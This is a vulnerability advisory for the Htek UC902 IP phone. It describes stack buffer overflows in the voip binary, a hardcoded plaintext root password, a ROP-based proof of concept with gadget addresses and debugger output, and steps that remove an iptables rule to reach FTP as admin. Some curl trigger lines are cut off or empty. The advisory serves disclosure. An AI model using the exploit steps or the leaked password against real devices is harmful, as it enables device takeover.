1. Summary

Vendor: Htek

Product: Htek UC902

Affected Version: Firmware 2.0.4.46

CVSS Score: 8.2 (High)

The Htek UC902 IP phone firmware has fundamental design problems and contains different vulnerabilities caused by memory corruptions. The device does not contain an input verification for external user input. This problem allows an attacker to trigger buffer overflows and Denial of Service attacks. Further missing process isolation will allow privilege escalation.

Buffer Overflow RCE (Vulnerability 1):

The core process binary (voip) contains several implementation flaws in functions, which are vulnerable against buffer overflows. The following code excerpts are disassemblies or pseudo code derived from this binary to show the bugs.

The function CopyToCommandStr reads input and writes it to a buffer. The reading terminates at \0 or at a "". If the bracket is missing reading will stop at least at the end of the string.

```c
void CopyToCommandStr(char *target, char *input)
{
    char *local_target;
    char *local_input;

    local_target = target;
    local_input = input;
    while ((*local_input != '}' && (*local_input != 0))) {
        *local_target = *local_input;
        local_target = local_target + 1;
        local_input = local_input + 1;
    }
    return;
}
```

The function gets its input from an URL parameter, which means the attacker can control the input characters, and in order that he can control the length of the input and overwrite the buffer. This will allow him to overwrite return values on the stack and control the program flow. The following curl command and gdb excerpt show how the $ra (return register) of the function at address 0x7E5230 (we call it handle_cgi_command) is overwritten. The function is responsible for changing the user password.

Excerpt of the function:

```c
handle_cgi_command(undefined4 param_1, undefined4 param_2, undefined4 param_3, char *cgi_param)
{
    int iVar1;
    undefined4 uVar2;
    char targetBuffer [32]; //will be overflown by CopyToCommandStr function
```
The curl command to trigger the overflow:

curl -i -s -k -X 'GET' -H 'User-Agent: Mozilla/5.0' (X11; Ubuntu; Linux x86_64; rv:65.0)
The CopyToCommandStr function is just one example, the binary contains another function at address 0x07C154C, which has a similar behavior. In our pseudocode excerpt we call it “charcopy”.

```c
void charcopy(char *targetbuffer32, char *param_2, char param_3)
{
    char *target;
    char local_res4;
    char local_res8;

    target = targetbuffer32;
    local_res4 = param_2;
    local_res8 = param_3;

    while (((0 < local_res8 && (*local_res4 != ',')) && (*local_res4 != ')'))) {
        *target = *local_res4;
        target = target + 1;
        local_res4 = local_res4 + 1;
        local_res8 = local_res8 - 1;
    }
    return;
}
```

This function would also trigger a buffer overflow. In this advisory we did not provide further code to exploit it.

**Buffer Overflow Dereference Segmentation Fault (Vulnerability 2):**

The previous bug is triggered for an authenticated user. But the code is also vulnerable if the user is not authenticated. In this case, we were not able to overwrite the return address but we were able to influence register values. This might be exploitable for further attacks, but we only show the control of the register and a segmentation fault due to a dereference error.

The same curl request from above, but with invalid user credentials will trigger this bug.

```bash
```

The debug excerpt shows the crash. The function `strstr()` tries to read a value from the address in $a0. This contains an extern value (“apaa”) which is not a valid address, but controllable by the attacker.
Program received signal SIGSEGV, Segmentation fault.
0x2ae4cea4 in strstr () from target:/lib/libc.so.0
[ Legend: Modified register | Code | Heap | Stack | String ]

---

Registers:

$at: 0x1000ff00
$v0: 0x61706161 ("apaa")
$v1: 0x2f
$s0: 0x61706161 ("apaa")
$a0: 0x00d8ca60 - "/Phone_ActionURL"
$a2: 0x0
$a1: 0x01fd720 -> 0x01fbdfce8 -> 0x01fbf8f8 -> 0x01fbed18 -> 0x00000000
$t0: 0x0
$t1: 0x64786161 ("dxaa")
$t2: 0x64796161 ("dyaa")
$t3: 0x647a6161 ("dzaa")
$t4: 0x65626161 ("ebaa")
$t5: 0x65636161 ("ecaa")
$t6: 0x65646161 ("edaa")
$t7: 0x65656177 ("eeaw")
$s0: 0x01fb4a8c -> 0x00000000
$s1: 0x7cdffc40 - [loop detected]
$s2: 0x2ae4ce90 -> <strstr+0> lbu v1, 0(a1)
$s3: 0x1000
$s4: 0x0
$s5: 0x2adb1ed0 -> 0x00000000
$s6: 0x7cc01000 -> 0x00000000
$s7: 0x01fc03d8 - [loop detected]
$sp: 0x7cdfb9c0 - 0x01fc03d8 - 0x2f007777 ("/")
$pc: 0x2ae4cea4 -> <strstr+20> lbu v0, 0(a0)

Stack:

[!] Command 'dereference' failed to execute properly, reason: Unknown register.

Code:

MIPS32

0x2ae4cea4 <strstr+20> lbu v0, 0(a0)

Threads:

[#0] Id 1, Name: "", stopped, reason: SIGSEGV

Trace:

[#0] 0x2ae4cea4->strstr()

gef>

Hardcoded OS Admin Credentials in Plaintext (Vulnerability 3):
The operating system (Linux) credentials are stored in plaintext as part of the main binary. Everybody who has access to the firmware update image\(^1\) (free downloadable) can read the password. The following code excerpt from the voip binary shows the admin password (root user).

```c
..
RegisterPVCnumber();
__stream = fopen64("/var/passwd","w+");
mib_get(0x5b,local_48);
memcpy(key_value,"alotof66phones",0xf);
mib_set(0x5c,key_value);
mib_get(0x5c,key_value);
pcVar3 = crypt(key_value,"$1$");
```

This passwords will be hashed at startup and written to the /var/passwd file, which is a symlink to the /etc/passwd.

```bash
ls -al /etc/passwd
lrwxrwxrwx 1 admin 0 11 Jan 23 01:49 passwd -> /var/passwd

# cat /etc/passwd
admin:$1$jlacVwOti.T8PIrDjAsZu:/:0:0::/tmp:/bin/cli
user:$1$ex9cQFo.PV11eSLXjFZuj.:1:0::/tmp:/bin/cli
```

If you get access to the device via the running ftp server (blocked by iptables, but can be disabled) or the UART interface you can login as root user.

## 2. Impact

**Buffer Overflow Change Control Flow POC:**

If an attacker somehow gets access to the web interface credentials (default credential, info leak, etc.) he will be able to abuse the buffer overflow to trigger code execution on the device. The following POC shows how to control the program counter and executes code on the stack due to missing NX protection.

```bash
# cat /proc/3740/maps
00400000-00dff000 r-xp 00000000 1f:02 524 /bin/voip
00e0e000-00e3f000 rw-p 009fe000 1f:02 524 /bin/voip
00e3f000-02157000 rwxp 00000000 00:00 0 [heap]
2aaad000-2ab8e000 rw-p 00000000 00:00 0
2abbc000-2abbf000 r--p 00004000 1f:02 283 /lib/libClibc-0.9.30.3.so
2abbd000-2abef000 rw-p 00005000 1f:02 283 /lib/libClibc-0.9.30.3.so
2aabe000-2aad1000 r-xp 00000000 1f:02 260 /lib/libz.so.1
2aad1000-2aae0000 ---p 00000000 00:00 0
2aae0000-2aae1000 rw-p 00012000 1f:02 260 /lib/libz.so.1
2aae1000-2ab18000 rw-p 00000000 1f:02 276 /lib/libjpeg.so.7
2ab18000-2ab27000 ---p 00000000 00:00 0
2ab27000-2ab2b8000 rw-p 00036000 1f:02 276 /lib/libjpeg.so.7
2ab2b8000-2ab4e000 r-xp 00000000 1f:02 281 /lib/libpng12.so.0
2ab4e000-2ab5d000 ---p 00000000 00:00 0
2ab5d000-2ab5e000 rw-p 00025000 1f:02 281 /lib/libpng12.so.0
7f201000-7f400000 rwxp 00000000 00:00 0
7f6a0000-7faeff000 rwxp 00000000 00:00 0 [stack]
7fff7000-7ffff000 r-xp 00000000 00:00 0 [vmsi]
```

\(^1\) http://www.htek.com/support/Document_And_Firmware/UC900_Series/uc902/
There is also no ASLR active. The `randomize_va_space` file says ASLR is active but comparing the library addresses shows that there is no randomization.

The following exploit will trigger the buffer overflow, and jump to some payload on the stack. It is not possible to jump directly into the stack, therefore the exploit contains gadgets which will trigger the jump into the stack for code execution. The first gadget from `ulibC` stores the stack pointer value (plus an offset) into register $a0.

```
0x00026ee8: addiu $a0, $sp, 0x20; lw $ra, 0x1c($sp); jr $ra;
```

The second gadget from `ulibC` jumps to the value stored in $a0 (contain stack pointer).

```
0x000439bc: move $t9, $a0; sw $v0, 0x18($sp); jalr $t9;
```

Then a `nop` sled is executed and afterwards the payload would be triggered. In this proof of concept there is no payload and the system will only crash because the payload PPPP is not an executable code.

---

**Legend:** Modified register | Code | Heap | Stack | String

<table>
<thead>
<tr>
<th>registers</th>
</tr>
</thead>
<tbody>
<tr>
<td>$zero: 0x0</td>
</tr>
<tr>
<td>$at: 0x1000ff00</td>
</tr>
<tr>
<td>$v0: 0x0</td>
</tr>
<tr>
<td>$v1: 0x72</td>
</tr>
<tr>
<td>$a0: 0x7d1fb560 -&gt; 0x01084026 -&gt; 0x00000000</td>
</tr>
<tr>
<td>$t9: 0x7d1fb560 -&gt; 0x01084026 -&gt; 0x00000000</td>
</tr>
<tr>
<td>$k0: 0x1</td>
</tr>
<tr>
<td>$k1: 0x0</td>
</tr>
<tr>
<td>$s8: 0x41414141 (&quot;AAAA&quot;)</td>
</tr>
<tr>
<td>$pc: 0x2ae5b9c</td>
</tr>
<tr>
<td>$sp: 0x7d1fb560 -&gt; 0x01084026 -&gt; 0x00000000</td>
</tr>
<tr>
<td>$ra: 0x7d1fb560 -&gt; 0x01084026</td>
</tr>
<tr>
<td>$gp: 0x00e42900 -&gt; 0x00000000</td>
</tr>
</tbody>
</table>

<table>
<thead>
<tr>
<th>code:mips:MIPS32</th>
</tr>
</thead>
<tbody>
<tr>
<td>0x2ae5b9b8 &lt;xdr_free+8&gt;     li     v0, 2</td>
</tr>
<tr>
<td>0x2ae5b9bc &lt;xdr_free+12&gt;    move   t9, a0</td>
</tr>
<tr>
<td>0x2ae5b9c0 &lt;xdr_free+16&gt;    sw     v0, 24(sp)</td>
</tr>
<tr>
<td>0x2ae5b9c4 &lt;xdr_free+20&gt;    jalr   t9         &lt;= jump to stack pointer</td>
</tr>
<tr>
<td>0x2ae5b9c8 &lt;xdr_free+24&gt;    addiu   a0, sp, 24</td>
</tr>
<tr>
<td>0x2ae5b9cc &lt;xdr_free+28&gt;    lw     ra, 52(sp)</td>
</tr>
<tr>
<td>0x2ae5b9d0 &lt;xdr_free+32&gt;    jr     ra</td>
</tr>
<tr>
<td>0x2ae5b9d4 &lt;xdr_free+36&gt;    addiu   sp, sp, 56</td>
</tr>
<tr>
<td>0x2ae5b9d8 &lt;xdr_free+40&gt;    jr     ra</td>
</tr>
</tbody>
</table>

<table>
<thead>
<tr>
<th>threads</th>
</tr>
</thead>
<tbody>
<tr>
<td>[#0] Id 1, Name: &quot;, stopped, reason: SINGLE STEP</td>
</tr>
</tbody>
</table>

<table>
<thead>
<tr>
<th>trace</th>
</tr>
</thead>
<tbody>
<tr>
<td>[#0] 0x2ae5b9c4-&gt;&lt;xdr_free()&gt;</td>
</tr>
<tr>
<td>[#1] 0x1084026-&gt;nop</td>
</tr>
</tbody>
</table>

gef> x/30wx $t9

gef> x/30i $t9 <=payload, nop sled

0x7d1fb560: xor t0,t0,t0
0x7d1fb564: xor t0,t0,t0
0x7d1fb568: xor t0,t0,t0
0x7d1fb56c: xor t0,t0,t0
0x7d1fb570: xor t0,t0,t0
0x7d1fb574: xor t0,t0,t0
After `nop` sled, possible payload, in this example no real code.
The proof of concept code has no active payload, but an attacker can attach payload to establish e.g. a reverse shell or to delete iptables rules to get access to the FTP port. But it shows that an attacker can control program flow, the stack is executable and even if NX would be set, Return Oriented Programming attacks would be possible.

The following excerpt shows that iptables protects an open FTP server port, if the attacker disables the protection, it will be possible to connect to the device via FTP.

### Drop iptables, enable ftp server:

```
# iptables -L
Chain INPUT (policy ACCEPT)
target prot opt source destination
ACCEPT tcp -- anywhere anywhere tcp dpt:http
DROP tcp -- anywhere anywhere tcp dpt:telnet
DROP tcp -- anywhere anywhere tcp dpt:ftp
ACCEPT icmp -- anywhere anywhere
ACCEPT tcp -- anywhere anywhere tcp dpt:http

Chain FORWARD (policy ACCEPT)
target prot opt source destination

Chain OUTPUT (policy ACCEPT)
target prot opt source destination
# iptables -D INPUT 3
# iptables -L
Chain INPUT (policy ACCEPT)
target prot opt source destination
ACCEPT tcp -- anywhere anywhere tcp dpt:http
DROP tcp -- anywhere anywhere tcp dpt:telnet
ACCEPT icmp -- anywhere anywhere
ACCEPT tcp -- anywhere anywhere tcp dpt:http
```

---

```
ftp> user
(username) admin
331 Password required for admin.
Password:
230 User admin logged in.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls
200 pcmd command successful.
150 Opening ASCII mode data connection for '/bin/ls'.
150 Opening ASCII mode data connection for '/bin/ls'.
-rw-r--r-- 1 admin 0 46348 Apr 18 07:44 001f0c1c6ef0-boot.log
drwxrwxrwx 2 admin 0 0 Apr 18 07:43 Language
srwxr-xr-x 1 admin 0 0 Jan 1 1970 deamon
-rw-r--r-- 1 admin 0 64 Apr 18 07:02 dhcpip.conf
-rw-r--r-- 1 admin 0 138 Apr 18 07:02 dhcpopt
-rw-r--r-- 1 admin 0 0 Apr 18 07:02 hlpres
-rw-r--r-- 1 admin 0 319882 Apr 18 07:56 message01
drwxrwxrwx 2 admin 0 0 Apr 18 07:02 hlpres
drwxrwxrwx 2 admin 0 0 Apr 18 07:02 hlpres
drwxrwxrwx 2 admin 0 0 Apr 18 07:02 hlpres
drwxrwxrwx 2 admin 0 0 Apr 18 07:02 hlpres
drwxrwxrwx 2 admin 0 0 Apr 18 07:02 hlpres
```

---

### 3. Workaround

Change the standard credentials and use strong passwords, which will not be guessable. Restrict the web interface access to a well-known group of people. Disable unnecessary daemons and services. Further do not use plaintext, hardcoded credentials.
4. Possible fix

Input validation must be handled on server side, not on client side (application) layer.

Another mitigation strategy is to reduce the privileges of the webserver, it should not run as root. If the system implements a user management concept, this should be enforced on all layers. Every external input must be validated e.g. size before writing into buffer. Use secure API calls and storing technologies.